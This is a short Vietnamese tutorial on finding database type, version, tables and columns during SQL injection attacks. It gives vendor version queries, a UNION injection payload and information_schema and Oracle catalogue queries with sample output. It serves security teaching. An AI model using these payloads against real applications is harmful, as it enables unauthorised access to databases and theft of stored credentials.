**Kiểm tra CSDL trong các cuộc tấn công SQL injection**

Để khai thác lỗ hổng SQL injection , thường cần phải tìm thông tin về cơ sở dữ liệu. Bao gồm:

* Loại và phiên bản của phần mềm cơ sở dữ liệu.
* Các bảng và cột có trong cơ sở dữ liệu.

**Truy vấn loại CSDL và phiên bản (\*)**

- Bạn có thể xác định cả loại và phiên bản cơ sở dữ liệu bằng cách đưa vào các truy vấn cụ thể của nhà cung cấp để xem liệu có truy vấn nào hoạt động không

Sau đây là một số truy vấn để xác định phiên bản cơ sở dữ liệu cho một số loại cơ sở dữ liệu phổ biến:

|  |  |
| --- | --- |
| Kiểu cơ sở dữ liệu | Truy vấn |
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT \* FROM v$version |
| PortgreSQL | SELECT version() |

Ví dụ, bạn có thể sử dụng UNION lệnh tấn công với thông tin đầu vào sau:

' UNION SELECT @@version—

Điều này có thể trả về kết quả sau. Trong trường hợp này, bạn có thể xác nhận rằng cơ sở dữ liệu là Microsoft SQL Server và xem phiên bản được sử dụng:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)

Mar 18 2018 09:11:49

Copyright (c) Microsoft Corporation

Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

**Liệt kê nội dung của CSDL (\*)**

- Hầu hết các loại cơ sở dữ liệu (trừ Oracle) đều có một tập hợp các chế độ xem được gọi là lược đồ thông tin. Điều này cung cấp thông tin về cơ sở dữ liệu.

Ví dụ, bạn có thể truy vấn information\_schema.tablesđể liệt kê các bảng trong cơ sở dữ liệu:

SELECT \* FROM information\_schema.tables

Câu trả lời sẽ như sau:

TABLE\_CATALOG TABLE\_SCHEMA TABLE\_NAME TABLE\_TYPE

=====================================================

MyDatabase dbo Products BASE TABLE

MyDatabase dbo Users BASE TABLE

MyDatabase dbo Feedback BASE TABLE

Đầu ra này cho biết có ba bảng, được gọi là Products, Users, và Feedback.

- Sau đó, bạn có thể truy vấn information\_schema.columnsđể liệt kê các cột trong từng bảng:

SELECT \* FROM information\_schema.columns WHERE table\_name = 'Users'

Câu trả lời sẽ như sau:

TABLE\_CATALOG TABLE\_SCHEMA TABLE\_NAME COLUMN\_NAME DATA\_TYPE

=================================================================

MyDatabase dbo Users UserId int

MyDatabase dbo Users Username varchar

MyDatabase dbo Users Password varchar

Đầu ra này hiển thị các cột trong bảng được chỉ định và kiểu dữ liệu của mỗi cột.

**Liệt kê nội dung của CSDL Oracle (\*)**

- Trên Oracle, bạn có thể tìm thấy những thông tin tương tự như sau:

* Bạn có thể liệt kê các bảng bằng cách truy vấn all\_tables: SELECT \* FROM all\_tables
* Bạn có thể liệt kê các cột bằng cách truy vấn all\_tab\_columns: SELECT \* FROM all\_tab\_columns WHERE table\_name = 'USERS'